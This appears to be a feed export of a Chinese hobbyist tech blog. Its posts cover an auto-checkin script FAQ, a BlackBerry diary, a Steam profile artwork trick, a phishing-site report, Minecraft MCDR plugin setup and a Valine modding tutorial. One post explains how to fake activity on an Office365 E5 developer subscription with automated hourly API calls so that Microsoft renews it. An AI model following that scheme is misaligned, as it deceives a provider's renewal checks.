不推荐使用此推送方式,因为其极不稳定!使用该推送方式无法收到QQ提醒的请不要开issue说这个问题,因为这是该服务的问题不是脚本问题

访问CoolPush官网,使用任一方式登录,在调用代码Skey可以看到你的KEY

PPKEY获取

**此平台是ServerChan的替代平台,因为ServerChan发了个通知,所以我就先把这个给更了

访问PushPlus官网,使用微信登录,直接在一对一推送复制自己的Token填入变量即可!

Q&A

返回值400并附带一串不知道什么鬼的字符串

例子:

1
2
3
4
5
6
7
8
感谢使用来自GamerNoTitle的网易云游戏自动签到脚本!
今日签到结果如下:
成功数量:0/1
失败数量:1/1
具体情况如下:
第1个账号签到失败,回显状态码为400,具体错误信息如下:GL8B/hH+v9cYGsm/Ag8PAAwBAr/XztPNzsm/Ag8PChAEv9e/EhACD70QBgQLvREMAf4Wv8m/Ag8PChAEAAu/17/5EtID0tD5EtLWz9b5EtIBA8/5EtT/1AL5EtLP0M2/Gqc=
GamerNoTitle: https://bili33.top
网易云游戏自动签到脚本: https://github.com/GamerNoTitle/wyycg-autocheckin

首先你需要确认你当天是否已经签到过了才运行的脚本,如果确实先签了到再运行脚本,网易确实会返回400

目前也只发现这种情况会返回400,如果有其他情况你可以在issue跟我提出

错误代码

telepot.exception.TelegramError

Chat not found

请先用你要接受信息的账户发个/start给你的bot,或者检查用户ID是否正确!

Not found

请检查自己的Telebot Token是否正确!

telepot.exception.UnauthorizedError

该错误显示如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Traceback (most recent call last):
File "main.py", line 185, in
send(teleid, teleinfomsg)
File "main.py", line 82, in send
bot.sendMessage(id, message, parse_mode=None, disable_web_page_preview=None, disable_notification=None,
File "/opt/hostedtoolcache/Python/3.8.9/x64/lib/python3.8/site-packages/telepot/init.py", line 513, in sendMessage
return self._api_request('sendMessage', _rectify(p))
File "/opt/hostedtoolcache/Python/3.8.9/x64/lib/python3.8/site-packages/telepot/init.py", line 491, in _api_request
return api.request((self._token, method, params, files), **kwargs)
File "/opt/hostedtoolcache/Python/3.8.9/x64/lib/python3.8/site-packages/telepot/api.py", line 155, in request
return _parse(r)
File "/opt/hostedtoolcache/Python/3.8.9/x64/lib/python3.8/site-packages/telepot/api.py", line 147, in _parse
raise e(description, error_code, data)
telepot.exception.UnauthorizedError: ('Unauthorized', 401, {'ok': False, 'error_code': 401, 'description': 'Unauthorized'})

解决方法:检查自己的Bot的Token是不是正确的!

urllib3.exceptions

MaxRetryError

HTTPSConnectionPool(host='api.telegram.org', port=443): Max retries exceeded with url: /botxxxx/sendMessage

出现这个错误,那就是Telegram的问题,Github连接不上Telegram服务器(大半是TG服务器炸了)

ReadTimeoutError

HTTPSConnectionPool(host='api.telegram.org', port=443): Read timed out. (read timeout=30)

出现这个错误,那就是Telegram的问题,Github连接不上Telegram服务器(大半是TG服务器炸了)(复制粘贴大法)


历史STAR

免责声明

使用本脚本造成的封号或任何违反相关法律法规造成的任何责任,由使用者自行承担,开发者不担负任何责任!

]]>
+ + + + + Tech + + + + + + + Tech + + Python + + Script + + Netease + + + +
+ + + + + 日常吐槽08 - 换用Blackberry9720三个月后的感受 + + /posts/diary8/ + +

先给你们看看我的Blackberry9720(下图)

因为我的索爱在8月的时候听筒听不见声音了(平时使用其实没多大问题,主要是打电话……),所以我就换上了这台高一同学给的BB9720

让我来总结一下使用体验


日常使用

先放一张手机桌面

日常使用其实跟索爱没啥区别,就是键盘是26键,系统也是BBOS7不是塞班

打电话?NP!发短信?NP!索爱能做的它都能做

不过跟索爱也有同样的问题:SSL证书不信任

这可真是个灾难(背后网站是萌娘百科)

访问某些网站,证书比较新的那种,就会出现这个问题……(难受+1)

不过其他还是NP的,收邮件这一块我安装了一个LogicMail(主要是因为不能企业激活,毕竟服务商是MTN)

LogicMail主界面

不过有的时候LogicMail会抽风(指Opening Connection这个步骤会直接失败),就需要一波硬重启(因为黑莓的重启有两种,一种是平常长按电源键关机后开机,那种开机很快,大约10~15s就完成了,另一种是拆电池,这样的重启会长达5分钟,主要是需要加载所有的应用程序),但是我不想每次都拔电池,所以我用了一个QuickPull来硬重启

QuickPulllllllllllllllllllllllllll!!!


耗能体验

总的来说,如果一天重度使用(指经常浏览网页,看视频等),连半天都撑不过去(毕竟是旧手机)

不过按照我的使用习惯,两天一充还是可以的,不过充电速度有点……

激泪的充电速度

电池只有2000mAh,只能说还行


娱乐体验

微信

一句话:完 全 不 能 用!!!

微信好像已经被腾讯放弃了(事实也是如此,QQ同理),一直在这里转圈

BBOS7的微信

看片

只能看720P以下的视频,只支持主流的格式(不包括FLV)

看不玩不活零

一定要下载好,不过体验还行:D

听歌

听Brain Power

O-oooooooooo AAAAE-A-A-I-A-U- JO-oooooooooooo AAE-O-A-A-U-U-A- E-eee-ee-eee AAAAE-A-E-I-E-A- JO-ooo-oo-oo-oo EEEEO-A-AAA-AAAA

也是要下载好,不过可以听FLAC就好评(索爱不行)

文档

英语作文练习

就很NICE,索爱不能看文档,BlackBerry除了可以看docx还能看pptx、xlsx、pdf,就很舒服

游戏

我就装了个2048(益智游戏)

2048菜鸡分数

软件体验

有独立的软件商店,可以安装软件,但是我不知道怎么从第三方安装软件

软件商店

已购列表

但是有点问题就是,免费软件有广告,会推送到邮件客户端里面(不是LogicMail,是内置的那个邮件客户端)

垃圾广告


总结

总的来说,BlackBerry9720给我的体验还算不错,反正就剩下一年了,拿来临时用一用还是可以的


题外话

界面是英文是因为中文字体看不惯才换的,并不是只有英文

月考考完了,芜湖起飞!

]]>
+ + + + + diary + + + + + + + diary + + school + + + +
+ + + + + Steam资料美化 —— 让你的展柜变得好看! + + /posts/Steam-Artwork/ + +

你也想拥有想别人那样Steam资料有自己喜欢的人物嘛?你也想自己动动手,让自己的Steam资料变得好看吗?现在你不需要去某宝/某东,只要你跟着做,你就能够做到!

观前提示:本教程全程使用Photoshop(包括模板文件),请自备该软件~(另:抠图不是我应该教的)

话不多说,先上一张效果图(你也可以到我的Steam个人资料页面查看)

效果图


找图

找图当然是最重要的呀,没有图哪里来的背景……如果你的Steam个人资料没有背景,你可以去点数商店换一个自己喜欢的(点数确实挺难赚的就是了,G胖心里偷喜)

接着我们打开自己的Steam库存,选择你想用来做背景的图,点击查看完整大小

查看完整大小

你可以直接点击它,你也可以右键复制链接地址,反正我们需要的是链接

接着我们打开Steam.Design,把自己的链接贴进去点”Change BG”,然后点Download Images

操作步骤

下载下来是个压缩包,我们只要里面的Artwork_Middle.pngArtwork_Right_Top.png即可,如果你对头像也有要求可以把Avatar.png也用上,但是本教程不涉及

至于人物图嘛……P站很多自己找吧

裁剪

接下来就是要Photoshop的时候了,我会完整告诉你怎么弄,当然你也可以直接下载我提供的模板(懒人必备),可以省去切片的步骤,直接把图片拖进去然后保存即可

我们先新建一个607*942的空白画布,如图

新建画布

打开来就是一个纯空白的文件,接着把我们下载的两个图片拖进去

拖~进去

然后把两个图片分别拖到左右两边,大的在做,小的在右。如果你操作正确的话中间会留下一列空白(纯色)

正确操作

接着把自己的人物图放进去(请先自己扣好图),如果人物被挡住了需要把人的那一个图层向上移动(两个背景图层没有顺序要求,但是人物一定要在上面)

图层排列

重点来了!选择切片工具(如果你没有切片工具,请右键裁切工具选择切片工具)工具选择

从透明的那一列开始往下拉到底,将图划分为三个区域(因为透明那一列也是一个区域)

划分区域

区域显示

如果你不放心自己是否裁切对了,你可以按住Alt+鼠标滑轮上放大来检视自己的操作,如果不对,就可以将切片线移动到正确位置

放大检视

最后我们按住Ctrl+Alt+Shift+S,进行文件的保存(品质手动拉到100)文件名随便你,反正我们用不到文件名,裁剪就完成了

上传

我们打开Steam艺术作品上传页面(需要梯子或者Steamcommunity302),添加自己的文件,给自己的作品命名

重点来啦!按F12打开开发者工具,选择console,将以下的代码复制进去按回车运行

1
2
3
4
5
var num= document.getElementsByName("image_width")[0].value;

document.getElementsByName("image_height")[0].value = num-(num-1);

document.getElementsByName("image_width")[0].value= num*100;

最后会得到一行数字(两个数字的结果不一样,第一个是50600,第二个是10000,两个都要运行)

开发者工具

上传完成后我们点到Steam编辑个人资料,选择艺术作品展柜,并将自己的艺术作品展示出来,保存

修改个人资料展柜

这样你就得到了属于你自己的Steam个人资料页面了!

效果图


题外话

最近Leancloud国际版又崩了……评论获取不到,烦……

原神挺好玩的,虽然我每天有一个半小时的限制……

CSGO的排位还没打完哭了……昨晚三连跪了

]]>
+ + + + + Software + + + + + + + Software + + Steam + + Customize + + + +
+ + + + + 日常吐槽07 - 记录一次成功的举报经历 + + /posts/diary7/ + +

在这里仅记录我成功举报的一次经历,希望大家引以为戒,同时,我不玩PUBG,也不用约我打PUBG

另外,我在发邮件的过程中忘记用其他邮箱了,也就是我用了我的域名邮箱admin@bili33.top,如果现在在看本文的是那位办网站的老兄,请你记住:不管有多少这样的网站,只要我遇到了,通通举报!我不会改变我的做法,我希望弄这些钓鱼网站的人更少,同时给PUBG一个良好的游戏环境!

前几天我在浏览Steam商城,因为当时没啥好玩的了,想去看看有啥游戏,结果发现了下面这样的信息(我看到的是评测中的信息,忘记截图了,而且那个用户也被我举报并屏蔽且被V社处理了,这里是一张网上的图,我遇到的给的链接是pubgjosn.fun(危险别点))

网图

点进去用户界面,看到是个把个人信息设置为隐私的账户(此处仍然为网上的图

还是网图

我点进去一看,哟,这不是钓鱼网站嘛,长得还挺像PUBG的官网,不过开篇就是给枪皮,这价值我也不知道有多少,反正看这域名就不是官方网站

非官方网站

我试着在这个页面点击除了领取以外的按钮,发现就连阅读个新闻也要登录,这不符合逻辑,看来这个网站没啥,也就UI像了点,其他没啥

弹出来给我的Steam登录界面,地址栏写的是about:blank,也就是所谓的空白页,但是按照Steam的登录页面的逻辑,他应该是会写https://steamcommunity.com/?XXXXX之类的,这肯定也是个钓鱼的登录界面,随便输入个账号,就要手机验证码,骗谁呢~

接着,我去查了一下whois,发现他的DNS解析在CloudFlare,因为听说CloudFlare有停止解析服务这一说,所以我就去CloudFlare投诉了一波(投诉界面忘记截图了)

第二天早上起来,发现CloudFlare给我发了封邮件

CF的邮件

接着,我访问该网站,发现已经被挂上了红色警告

CF小红信

CloudFlare这波干的不错,返回来看CF给我发的邮件,里面还说到了以下几种方法(黄色部分,这里是在mail.ru,也就是我的域名邮箱托管的平台)

CF的提示

然后我又去查了一次whois,发现他是在reg.ru这个网站上注册的域名,接着我又去查这个网站的举报方式,发现了abuse@reg.ru这个举报邮箱

接着再发一封邮件,提出这种情况

发邮件给reg.ru

不久后便收到了来自该域名注册平台的邮件

REG.RU的回复

举报完成,收工!

在我即将开始写文的时候,发现我的Steam弹了一条V社的信息

V社的信息

这次举报真的大快人心!

下次继续!

]]>
+ + + + + diary + + + + + + + diary + + + +
+ + + + + MCDR-Mirror-Server使用手册和例子 | The usage and example of MCDR-Mirror-Server + + /posts/MCDR-Mirror-Server-Usage/ + +

简体中文

感谢你选用MCDR-Mirror-Server作为MCDR镜像服插件,本页面是镜像服插件的一个例子,希望你看了这个例子能够更加清楚镜像服插件的工作原理和使用方法(*^▽^*)

English users please click me!

使用方法

首先,我们需要下载MCDR-Mirror-Server插件,你可以在Github仓库下载,对于中文用户,请下载mirror.pymirror.json

接着,把mirror.py放入MCDR的Plugins文件夹,把mirror.json放入MCDR的config文件夹,这样,插件的位置就到位了

在MCDR的目录下新建一个文件夹,或者在其他地方新建一个文件夹,用于存放镜像服的文件。

请注意!Windows用户请不要跨盘符建立文件夹,如果你的MCDR文件夹在C盘,那么你就把镜像服文件夹建立在C盘,请不要建立在D、E、F等盘(即禁止跨盘符建立文件夹),这是由于cmd的盘符切换方法导致你在运行MCDR的时候无法切换到其他盘符

将你的镜像服文件丢进你建立的文件夹内,可以带着MCDR进去,也可以不带,程序会自动判断是否带了MCDR

接着打开你的mirror.json文件,我们将要开始配置了

1
2
3
4
5
6
7
8
9
10
11
12
{
"path": "./mirror/",
"world": ["world"],
"command": "python3 MCDReforged.py",
"remote":{
"enable": false,
"address": "127.0.0.1",
"secret": "password",
"port": 25575,
"command": false
}
}

首先,将path后面的内容改为你的文件夹路径,可以是相对路径也可以是绝对路径

world后面的内容改为你的世界文件夹的名字,请注意需要按照列表的格式填写,即["world","world1","world2"]等,将你所有的世界文件夹填入,如果你是原版服务器的话基本上只填写world是莫得问题的

command改为你的镜像服启动的命令,例如java -Xms2G -Xmx4G -jar server.jar或者python3 MCDReforged.py等,如果你的镜像服也带了MCDR,你需要注意:Windows使用python的方式不是写作python3而是写作py或者python,linux则特定要写python3

下面是rcon的相关配置,有关rcon的相关信息,你可以看这里

enable是是否开启rcon功能,如果开启了就可以使用rcon的功能,如果不开启就不行,相当于镜像服对镜像服rcon链接的总开关吧

address是镜像服服务器的地址,如果你是同一台机子就填127.0.0.1即可,否则就要填写直连的地址

secret填写镜像服的rcon密码,这个在server.properties里面设置的

port填写镜像服的rcon端口,同样在server.properties设置

command即是否允许利用!!mirror rcon <command>来对镜像服使用命令

填写完了以后,你仍然需要在server.properties里面修改端口,避免端口冲突

然后就可以在主服务器里!!MCDR reload plugin然后使用!!mirror start来尝试开启服务器了

使用例子

以我自己来说,我的目录树大概长这样

1
2
3
4
5
6
7
8
9
10
11
MCDReforged
├─config
├─lang
├─mirror
│ ├─server
│ │ └─world
├─plugins
├─resources
├─server
│ └─world
└─utils

我的mirror文件夹就是我的镜像服文件夹,里面放了MCDR作为镜像服的管理工具,原版服务器上了Fabric,使用Linux来开服,所以我的config是下面这样的

1
2
3
4
5
6
7
8
9
10
11
12
{
"path": "./mirror/",
"world": ["world"],
"command": "python3 MCDReforged.py",
"remote":{
"enable": true,
"address": "127.0.0.1",
"secret": "password",
"port": 25575,
"command": true
}
}

在mirror文件夹里面,我的文件大概如图所示(注:我开服的系统是linux,只是这里用Windows来浏览文件)

Mirror文件夹的文件

我的镜像服server.properties的内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#Minecraft server properties
#Wed Jul 08 12:17:29 CST 2020
broadcast-rcon-to-ops=true
view-distance=10
max-build-height=256
server-ip=
rcon.port=25585
level-seed=
allow-nether=true
gamemode=creative
enable-command-block=true
server-port=25566
enable-rcon=true
enable-query=false
op-permission-level=4
prevent-proxy-connections=false
generator-settings=
resource-pack=
player-idle-timeout=0
level-name=world
rcon.password=password
motd=Minecraft Server by GamerNoTitle
query.port=25566
force-gamemode=false
debug=false
hardcore=false
white-list=false
broadcast-console-to-ops=true
pvp=true
spawn-npcs=true
spawn-animals=true
generate-structures=true
snooper-enabled=true
difficulty=hard
function-permission-level=2
network-compression-threshold=256
level-type=default
max-tick-time=60000
spawn-monsters=true
enforce-whitelist=false
max-players=20
use-native-transport=true
spawn-protection=0
resource-pack-sha1=
online-mode=false
allow-flight=false
max-world-size=29999984

其实最主要的是下面这几个

1
2
3
4
rcon.port=25585
server-port=25566
enable-rcon=true
rcon.password=password

保证端口不冲突即可,其他其实没啥;然后就是设置rcon的密码,然后把密码填进mirror.json,接着在主服务器用!!mirror start开服,就可以了

工作原理

工作原理很简单!就是通过MCDR打开了位于你镜像服文件夹的一个服务器,如果是Windows顺带还开多了一个powershell以免stop的时候把主服务器也stop了;关服务器的原理就是通过rcon对镜像服发起了/stop指令,仅此而已;同步就是对镜像服的世界文件夹覆盖


English

Thanks for choosing MCDR-Mirror-Server as your mirror server plugin. This page is an example of mirror plugin. Hopefully it can make you clear the working principle of the plugin and help you use the plugin more efficiently and more conveniently

Due to my lack of English (I’m still a senior high school student in China), some grammars may be wrong. If you don’t mind or help me correct it, I’ll appreciate it. Thanks♪(・ω・)ノ

Usage

First, you need to download MCDR-Mirror-Server plugin, you can download it from my Github. For English users, you need to download mirror.py and mirror.json.

Now you have downloaded the things you need, just put mirror.py into plugins folder and put mirror.json into config folder. Congratulate! You have installed the plugin successfully!

Create a new folder in MCDR’s folder or other place, for the use or put the mirror’s file inside it.

For Windows users be careful: You can’t put the folder across the drive. For example, if your main server folder is in C drive, then just create the folder in C drive, don’t put it into D, E, F, etc. Since the switch method of cmd, you cannot switch to another drive while you’re using MCDR

And now, but your mirror server into the folder you just created. Whether it included a MCDR is not a question, the plugin will automatically detect it.

Next, open the file mirror.json and edit the configuration of it

1
2
3
4
5
6
7
8
9
10
11
12
{
"path": "./mirror/",
"world": ["world"],
"command": "python3 MCDReforged.py",
"remote":{
"enable": false,
"address": "127.0.0.1",
"secret": "password",
"port": 25575,
"command": false
}
}

Firstly, change ./mirror/ into the folder you just created (An absolute path or a relative path is avaliable)

Next change the list behind world with the format like ["world", "world1", "world2"], type all your world folder in. If your server is vanilla one then just keep it

Change the content behind command as your server’s start command. For example, java -Xms2G -Xmx4G -jar server.jar for vanilla or python3 MCDReforged.py for MCDReforged.

Tips: For Windows users, the startup command of python is py or python not python3 for linux users.

The following settings are the rcon ones, if you want to know what is rcon, you can visit here

enable means whether the rcon feature of mirror plugin is enabled or not, true to enable it, or false to disable it. If you disabled it, you cannot use any functions of rcon like remote shutdown and so on.

address is the mirror server’s address. For the users who put the two server into the same computer, just keep it as 127.0.0.1

secret is the password of your rcon, you can change it in server.properties file.

port is the port of the rcon on mirror server, you can also change it in server.properties file

command is the switch on allowing to use !!mirror rcon <command> command to input command to mirror server.

when you’re finished, you also need to change the port your mirror server in order to avoid the same port use between the main server and the mirror one.

Example

For my mirror, my directory tree like this

1
2
3
4
5
6
7
8
9
10
11
MCDReforged
├─config
├─lang
├─mirror
│ ├─server
│ │ └─world
├─plugins
├─resources
├─server
│ └─world
└─utils

My mirror server folder inside MCDReforged is the folder called mirror, and I put a MCDR in it in order to manage my mirror server. After all, I use linux to hold the server, so my config grows like this

1
2
3
4
5
6
7
8
9
10
11
12
{
"path": "./mirror/",
"world": ["world"],
"command": "python3 MCDReforged.py",
"remote":{
"enable": true,
"address": "127.0.0.1",
"secret": "password",
"port": 25575,
"command": true
}
}

My file in mirror folder like the picture below (PS: I use linux to hold the server, and I just use Windows to explore my files)

All my files in mirror folder

and my server.properties of my mirror like this

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#Minecraft server properties
#Wed Jul 08 12:17:29 CST 2020
broadcast-rcon-to-ops=true
view-distance=10
max-build-height=256
server-ip=
rcon.port=25585
level-seed=
allow-nether=true
gamemode=creative
enable-command-block=true
server-port=25566
enable-rcon=true
enable-query=false
op-permission-level=4
prevent-proxy-connections=false
generator-settings=
resource-pack=
player-idle-timeout=0
level-name=world
rcon.password=password
motd=Minecraft Server by GamerNoTitle
query.port=25566
force-gamemode=false
debug=false
hardcore=false
white-list=false
broadcast-console-to-ops=true
pvp=true
spawn-npcs=true
spawn-animals=true
generate-structures=true
snooper-enabled=true
difficulty=hard
function-permission-level=2
network-compression-threshold=256
level-type=default
max-tick-time=60000
spawn-monsters=true
enforce-whitelist=false
max-players=20
use-native-transport=true
spawn-protection=0
resource-pack-sha1=
online-mode=false
allow-flight=false
max-world-size=29999984

The most important things are the following configuration

1
2
3
4
rcon.port=25585
server-port=25566
enable-rcon=true
rcon.password=password

just keep the port use not the same, and setup your rcon’s password. Type the password and port in the mirror.json and use !!mirrro start in your main server to startup your mirror. That’s it.

Principle

It’s pretty easy! Just use MCDR to call python to use command to turn on another server. For Windows users, i’ve also create a new powershell thread to hold the mirror one in order to prevent the main server being killed. The shutdown just use rcon feature to send a /stop command to the mirror folder. Sync just copy the main server’s world into the mirror one.

]]>
+ + + + + Tech + + + + + + + Tech + + + +
+ + + + + MCDR的正确食用方式 - 让你的服务器像TIS一样拥有QB! + + /posts/MCDR-Usage/ + +

你是否也想有能够在游戏内快速管理的服务器?

你是否也想像TIS一样有各种扩展?

你是否也想有!!qb

MCDReforged!不要998,不要888,只要……!@#¥%……&*()

咳咳,走错片场了……


MCDReforged是一个不需要修改MC服务端的情况下,使用自定义的插件系统提供服务器的管理等功能的一个工具,由@Fallen_Breath开发,使用Python作为运行环境(拒绝PY2从我做起)

这里有一个第三方的MCDR官网,你可以参阅一下

本篇我们来讲讲它的用法和我开发的插件的用法

如何使用

工作环境

Python 的版本需要 Python 3.6+。已在如下环境中测试运行通过:

  • Windows10 x64 Python 3.6
  • Centos7 x64 Python 3.8
  • Ubuntu18.04.4 x64 Python 3.6

这是佛冷测试的数据,我自己的Python版本是3.6.9,在Ubuntu 18.04.4 LTS上通过

你首先需要安装Python3,怎么安装请自己搜索,这不是我们这一节要讨论的内容

获取MCDR

你需要下载一个MCDR,我们转到MCDR的Release页面,下载最新版的MCDReforged,解压,你能得到以下目录

1
2
3
4
5
6
7
8
9
MCDReforged
├─config
├─plugins
├─resources
│ └─lang
├─server
└─utils
├─parser
└─reactor

这里说一下我们将要用到的文件夹:

config是用来存放插件的配置文件的

plugins就是插件存放的位置,你可以到MCDR插件库(中文)下载插件

server就是存放服务器文件的位置,我们的服务器文件例如minecraft.jarworld都放在这个里面

其他的文件夹我们不会用到,就不动它

在MCDR的目录下打开命令行窗口,使用

1
2
$ pip install -r requirement.txt# Windows用户
$ pip3 install -r requirement.txt# Linux用户

安装MCDR运行所需要的Python模块

配置MCDR

配置项配置

打开config.yml文件,里面有所有我们需要调整的MCDR参数

有以下配置项

1
2
3
4
5
6
7
8
9
10
11
language: en_us
working_directory: server
start_command: java -Xms1G -Xmx2G -jar minecraft_server.jar nogui
parser: vanilla_parser
encoding:
decoding:
console_command_prefix: '!!'
enable_rcon: false
rcon_address: 127.0.0.1
rcon_port: 25575
rcon_password: password

首先,如果你需要中文,就把language调成zh_cn;如果你不需要,可以不动它,直接保留en_us

working_dictionary是我们服务端存放的文件夹,当然你可以把server改成你喜欢的名字,然后在MCDR的工作目录里面新建一个与你填入的名字相同的文件夹,把服务端扔里头

start_command就是启动服务器用的命令,也就是你在服务器文件夹里面输入的启动命令,同样如果你写在了start.sh里面,可以直接填sh ./start.sh

parser是解码器,这个你可以根据你的服务端来填,具体如下

解析器名称兼容的服务器类型
vanilla_parser适用于原版 / Carpet / Fabric 服务端
bukkit_parser适用于 1.14 以下的 Bukkit / Spiogt 服务端,和任意版本的 Paper 服务端
bukkit_parser_14适用于 1.14 及以上的 Bukkit / Spiogt 服务端
forge_parser适用于 Forge 服务端
cat_server_parser适用于 CatServer 服务端
bungeecord_parser适用于Bungeecord 服务端。请在启动参数的 -jar 前添加 -Djline.terminal=jline.UnsupportedTerminal 以让其支持 MCDR 的控制,来源
waterfall_parser适用于 Waterfall 服务端

decodingencoding是编码方式,一般留空即可

console_command_prefix是MCDR的命令前缀,一般保持!!即可

enable_rcon和下面的rcon设置是Minecraft服务器的Rcon,如果你要打开你需要到server.properties里修改rcon的相关参数

权限配置

MCDR也有插件选项,拥有admin权限的玩家可以在游戏内使用MCDR服务器的指令,例如!!MCDR reload plugin,而且有些插件也会对权限进行检查,所以这就有必要配置权限

我们打开permission.yml文件,在对应的用户组输入用户名即可,例如

1
2
3
4
5
6
7
8
9
default_level: user

owner:
- GamerNoTitle# 这里就是给我owner权限
admin:
- UBIthepotato# 这里就是给UBIthepotato上admin权限
helper:
user:
guest:

给完权限后,在后台使用!!MCDR reload permission来刷新权限

启动MCDR

配置完MCDR后,我们回到MCDR的工作目录,使用命令

1
2
$ python MCDReforged.py# Windows用户
$ python3 MCDReforged.py# Linux用户

来启动我们的服务器,当你看到提示Done (12.757s)! For help, type "help"就是启动完了(不同服务端的提示可能不一样,我这里是vanilla

安装插件

首先你需要到MCDR插件库(中文)下载插件,文件应该是一个xxx.py文件,有的插件会带有一个xxx.json的配置文件

xxx.py文件放入plugins文件夹,将xxx.json放入config文件夹即可

如果你的服务器正在运行,可以使用!!MCDR reload plugin来重载插件


题外话

MCDR是真的好用,我的MC服务器就用的它

现在想完善一下镜像服插件的功能,想试试在主服务器关闭镜像服,不过得慢慢做了

本月我没咕!没咕!咕咕咕咕~

]]>
+ + + + + Tech + + + + + + + Tech + + + +
+ + + + + Office365开发者订阅保命计划 + + /posts/Office365-Renew-Project/ + +

上次有一篇文章教大家怎么白嫖了Office365 E3 Subscription for Developers(现在是E5),近期我重新申请了一次(之前的过期了),在这里教大家怎么增大微软续费的机会

只是增大机会,并不是一定会续费!!!

我已经续费成功一次了,截图在底部


自建网盘法

Office365的E5订阅附带了5T的Onedrive(如果你是1T可以去Onedrive后台进行调整)

这里我推荐使用Oneindex,使用方便

只需要自己找一个服务器搭建,使用自己的账号获取API的ID和KEYS绑定即可,记得多用,怎么部署不多说

E5Sub_bot法

如果你有服务器也可以自己搭建,项目地址在这里https://github.com/iyear/E5SubBot

怎么搭建就去看官方文档,这里说一下没有服务器怎么弄

我们先打开Telegram,在搜索栏搜索@E5Sub_bot,打开以后在输入框搜索/bind

接着我们点击应用注册后面的那个链接,你也可以直接点击这里

打开后登陆自己的Office账户,把显示的应用机密保存下来

接着点下面那个蓝色的按钮,返回快速启动

往下拉网页,看到有个APP ID(or Client ID),我们把下面框框内的UUID找个地方复制粘贴临时保存一下

然后我们回到Telegram,输入刚刚的UUID和Secret秘钥,需要按照提供的格式进行输入

会返回一个带有链接的对话框给我们,我们点击授权用户后面的点击直达

弹出来一个登录界面,登录完成后,复制地址栏里面的网址,粘贴到Telegram的对话框内就可以了

这样我们就绑定成功了,接下来就不管它,它会自己进行API的调用,每小时调用一次,并且会给我们反馈结果

自动续订程序法

这是一个由其他大佬开发的网页端的程序,并且所有的操作都是在他的服务器上的,本地服务器不需要跑任何东西。我们打开https://e5.qyi.io/user/login?redirect=%2Fuser%2Fhome

打开可能有点慢,请耐心等待。打开后点击中间的Github图标使用Github进行登录,进入主界面

然后先把这个网页放在一边,打开Azure,在上面搜索应用注册,打开后,我们点击左上角的新注册,名称随便填,下面的受支持的账户类型选择第三个,URI我们填写https://e5.qyi.io/outlook/auth2/receive,一定要填正确,否则是无法使用的!

进入页面后,我们复制上面显示的应用程序(客户端)ID,以供备用,接着我们点击左边的证书和密码,创建我们这个程序的密码

在右边选择新客户端密码,描述随便填,密码我们选择从不过期,然后新建,把给我们的密码保存下来备用

接着点到API权限,点击添加权限,选择Microsoft Graph,然后选择右边的应用程序权限,勾选Mail.ReadMail.ReadBasicMail.ReadBasic.AllMail.ReadWrite即可,剩下那个Mail.Send不用选择,勾选后确定,点击添加权限右边的代表xxx授予管理员同意,一定要点,否则无法正常运行

接着返回刚刚的那个网页,ID和机密填进去,然后点保存,接着点授权,一定要点授权,否则不会正常运行!

Github Action法

这里我们使用的是一个Github项目AutoApiSecret,进入这个项目我们先把它fork一份到自己的账户下

同样,我们还是要先注册一个应用,获取应用ID和应用机密,怎么注册看自动续订程序法

唯一不同的是,我们需要的权限变为以下权限:

Files.Read.All Files.ReadWrite.All Sites.Read.All Sites.ReadWrite.All

User.Read.All User.ReadWrite.All Directory.Read.All Directory.ReadWrite.All

Mail.Read Mail.ReadWrite MailboxSettings.Read MailboxSettings.ReadWrite

勾选完下面的权限保存,别忘了要点允许!!!

我们使用rclone来获取我们的refresh_token,你可以点击这里下载rclone

在命令行里,输入

1
rclone authorize "onedrive" "之前保存的应用id" "之前保存的应用秘钥"

来打开登录窗口,在窗口内登录后,在命令行里面找到refresh_token:并把后面的内容直到,"expiry"的部分复制下来备用

接着我们回到我们的仓库,打开里面的1.txt文件,把刚刚获取的refresh_token贴进去

打开仓库设置,点击Secret,我们添加两个东西

第一个是CONFIG_ID,里面的内容写为id=r'你的应用id',第二个是CONFIG_KEY,里面的内容写作secret=r'你的应用机密'

接着打开仓库里面的1.txt,把你的refresh_token贴进去

打开右上角自己头像下的Settings,选到Developer Settings,再点到Personal access tokens,在这里我们新建一个token,名字随便填,但是权限我们需要勾一下内容

admin:repo_hook repo workflow

然后保存即可,回到我们的仓库,点击顶上的Action,如果你没有开过Action,那么这里会需要让你打开同意条例来打开Action,打开后,我们给自己的这个仓库点个Star,来手动触发我们的Action

在Action界面我们可以看到我们的Workflow是否运行正常,如果运行后打绿色的勾就说明成功了,这个时候就不需要再管它了,直接把这个仓库放着就好了,每一小时就会自动调用一次API,达到微软要求的开发(伪)目的


题外话

我今天重新开了一个E5的订阅,反正看看能撑多久

续费成功图

]]>
+ + + + + Software + + + + + + + Software + + Script + + Office365 + + + +
+ + + + + Valine-Customize魔改教程 + + /posts/Valine-Customize/ + +

本篇为我的修改思路,如果你想直接使用我修改过后的版本,可以直接将https://github.com/GamerNoTitle/Valine-Magic更新日志中的最新版js链接引入

在看本篇之前,请确保:

  • 你有一定的代码基础
  • 你能够看懂Python代码和JavaScript
  • 你精通Valine的使用

Valine在2020/4/21更新了v1.4.5,支持了自定义表情包,故Valine-Magic将不再提供修改的js,改为提供Valine的表情列表

我们本篇要做的事情有两个

①加入自定义表情

②判断邮箱为QQ邮箱则显示QQ头像

③为修改UI文字提供思路

话不多说 让我们开始吧


加入自定义表情

首先,我们需要获得valine的js文件,这里直接访问Valine的CDN获取https://cdn.jsdelivr.net/npm/valine/dist/Valine.min.js

Valine官方JS

打开后是一个页面,我们直接全选复制,粘贴到一个新的js文件中

温馨提示:因为js中的字符数稍微(手动着重)有点多,所以说如果没有较为强劲的电脑可能无法很快做到文本格式化

首先我们需要修改的是Valine的表情CDN,如果不修改的话,你的表情链接前面会自动加上https://img.t.sinajs.cn/t4/appstyle/expression/ext/normal字段导致表情无法被读取

我们直接以//img.t.sinajs.cn作为关键词检索CDN,很快就得到了CDN的位置

CDN搜索

我们将这里的CDN的内容直接删掉,留空

接着我们搜索valine自带的表情标签,而第一个的表情标签是smile,我这里就直接搜索smile,这样可以直接定位到表情列表的头部

表情列表搜索

接下来,我们需要上传自己的表情,并且按照这个格式制作一个表情列表

